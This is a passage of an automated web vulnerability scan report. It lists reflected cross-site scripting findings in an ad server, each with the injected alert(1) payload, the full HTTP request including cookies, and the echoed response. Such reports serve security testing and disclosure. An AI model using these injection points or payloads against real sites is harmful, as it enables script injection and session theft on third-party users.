rticle_above;net=idgt;u=,idgt-26242497_1305034541,11f8f328940989e,none,idgt.careers_l-idgt.gadgets_h-bz.25-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sec=4ca6d'-alert(1)-'f7490aa7e07;contx=none;dc=w;btg=idgt.careers_l;btg=idgt.gadgets_h;btg=bz.25;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;btg=cm.ent_h;btg=cm.music_h;btg=cm.weath_h;btg=cm.sports_h?","
...[SNIP]...

4.31. http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f2e03'-alert(1)-'6bcda574138 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadjf2e03'-alert(1)-'6bcda574138/ns.androidcentral/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;ord1=196261;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:58 GMT
Connection: close
Content-Length: 7419

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-75558289_1305034498","http://ad.doubleclick.net/adjf2e03'-alert(1)-'6bcda574138/ns.androidcentral/general;net=ns;u=,ns-75558289_1305034498,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=19
...[SNIP]...

4.32. http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 69fde'-alert(1)-'523800c80c4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral69fde'-alert(1)-'523800c80c4/general;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;ord1=196261;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:01 GMT
Connection: close
Content-Length: 7417

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-1735359_1305034501","http://ad.doubleclick.net/adj/ns.androidcentral69fde'-alert(1)-'523800c80c4/general;net=ns;u=,ns-1735359_1305034501,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=196261;contx=itbusmb;
...[SNIP]...

4.33. http://a.collective-media.net/cmadj/ns.androidcentral/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ae81e'-alert(1)-'6e077f8d62a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral/generalae81e'-alert(1)-'6e077f8d62a;ppos=atf;kw=;tile=1;dcopt=ist;sz=728x90;net=ns;ord=%202250960881356150;ord1=196261;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:35:04 GMT
Connection: close
Content-Length: 7419

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-62907342_1305034504","http://ad.doubleclick.net/adj/ns.androidcentral/generalae81e'-alert(1)-'6e077f8d62a;net=ns;u=,ns-62907342_1305034504,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=1;dcopt=ist;cmw=owl;sz=728x90;net=ns;ord1=196261;contx=itbusmb;dc=w;bt
...[SNIP]...

4.34. http://a.collective-media.net/cmadj/ns.androidcentral/general [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e961'-alert(1)-'4ba879699ea was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral/general;ppos=3e961'-alert(1)-'4ba879699ea HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:34:17 GMT
Connection: close
Content-Length: 7325

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
chAd("ns-62677303_1305034457","http://ad.doubleclick.net/adj/ns.androidcentral/general;net=ns;u=,ns-62677303_1305034457,11f8f328940989e,none,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=3e961'-alert(1)-'4ba879699ea;contx=none;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1?","0","0",false);</scr'+'ipt>
...[SNIP]...

4.35. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1536c'-alert(1)-'3d68f1b813a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj1536c'-alert(1)-'3d68f1b813a/ns.androidcentral/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;ord1=505344;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:37:05 GMT
Connection: close
Content-Length: 7426

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-7601100_1305034625","http://ad.doubleclick.net/adj1536c'-alert(1)-'3d68f1b813a/ns.androidcentral/general/archive;net=ns;u=,ns-7601100_1305034625,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;o
...[SNIP]...

4.36. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70880'-alert(1)-'374fee92e30 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral70880'-alert(1)-'374fee92e30/general/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;ord1=505344;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:37:06 GMT
Connection: close
Content-Length: 7428

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-20639338_1305034626","http://ad.doubleclick.net/adj/ns.androidcentral70880'-alert(1)-'374fee92e30/general/archive;net=ns;u=,ns-20639338_1305034626,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=
...[SNIP]...

4.37. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ed33f'-alert(1)-'e14152a35ae was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral/generaled33f'-alert(1)-'e14152a35ae/archive;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;ord1=505344;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:37:07 GMT
Connection: close
Content-Length: 7428

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-82822339_1305034627","http://ad.doubleclick.net/adj/ns.androidcentral/generaled33f'-alert(1)-'e14152a35ae/archive;net=ns;u=,ns-82822339_1305034627,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=itbusmb;
...[SNIP]...

4.38. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4d9ed'-alert(1)-'5ddf31af3e8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral/general/archive4d9ed'-alert(1)-'5ddf31af3e8;ppos=btf;kw=;tile=2;sz=300x250,336x280;net=ns;ord=2250960881356150;ord1=505344;cmpgurl=http%253A//www.androidcentral.com/android-central-google-io-2011? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:37:08 GMT
Connection: close
Content-Length: 7428

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-40396262_1305034628","http://ad.doubleclick.net/adj/ns.androidcentral/general/archive4d9ed'-alert(1)-'5ddf31af3e8;net=ns;u=,ns-40396262_1305034628,11f8f328940989e,itbusmb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=itbusmb;dc=w;btg
...[SNIP]...

4.39. http://a.collective-media.net/cmadj/ns.androidcentral/general/archive [ppos parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.androidcentral/general/archive

Issue detail

The value of the ppos request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60e7d'-alert(1)-'94313355a5c was submitted in the ppos parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.androidcentral/general/archive;ppos=60e7d'-alert(1)-'94313355a5c HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:36:50 GMT
Connection: close
Content-Length: 7333

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
-53742245_1305034610","http://ad.doubleclick.net/adj/ns.androidcentral/general/archive;net=ns;u=,ns-53742245_1305034610,11f8f328940989e,none,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=60e7d'-alert(1)-'94313355a5c;contx=none;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1?","0","0",false);</scr'+'ipt>
...[SNIP]...

4.40. http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.knowyourmobile/general

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc43f'-alert(1)-'8478e6518a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadjbc43f'-alert(1)-'8478e6518a6/ns.knowyourmobile/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;ord1=877377;cmpgurl=http%253A//www.knowyourmobile.com/features/881740/google_io_what_to_expect.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:39:40 GMT
Connection: close
Content-Length: 7407

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-26189648_1305034780","http://ad.doubleclick.net/adjbc43f'-alert(1)-'8478e6518a6/ns.knowyourmobile/general;net=ns;u=,ns-26189648_1305034780,11f8f328940989e,itdeweb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;cont
...[SNIP]...

4.41. http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.knowyourmobile/general

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15b2d'-alert(1)-'fe3576fbb9c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.knowyourmobile15b2d'-alert(1)-'fe3576fbb9c/general;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;ord1=877377;cmpgurl=http%253A//www.knowyourmobile.com/features/881740/google_io_what_to_expect.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cli=11f8f328940989e; JY57=3c8l6OS0i837DN4jhYrey9dDCbp7hYUThCr39Jsy7-rbCSEhPjb6zQg; targ=1; apnx=1; qcms=1; nadp=1; qcdp=1; exdp=1; ibvr=1; brlg=1; mmpg=1; blue=1; dc=dc

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Content-Type: application/x-javascript
P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:39:45 GMT
Connection: close
Content-Length: 7407

function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this.
...[SNIP]...
<scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("ns-47218449_1305034785","http://ad.doubleclick.net/adj/ns.knowyourmobile15b2d'-alert(1)-'fe3576fbb9c/general;net=ns;u=,ns-47218449_1305034785,11f8f328940989e,itdeweb,ns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;contx=itdeweb;dc=w;btg
...[SNIP]...

4.42. http://a.collective-media.net/cmadj/ns.knowyourmobile/general [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.collective-media.net
Path:	/cmadj/ns.knowyourmobile/general

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a16af'-alert(1)-'b14a62af70b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /cmadj/ns.knowyourmobile/generala16af'-alert(1)-'b14a62af70b;ppos=atf;kw=;tile=2;sz=728x90;net=ns;ord=2513010054826736;ord1=877377;cmpgurl=http%253A//www.knowyourmobile.com/features/881740/google_io_what_to_expect.html? HTTP/1.1
Host: a.collective-media.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
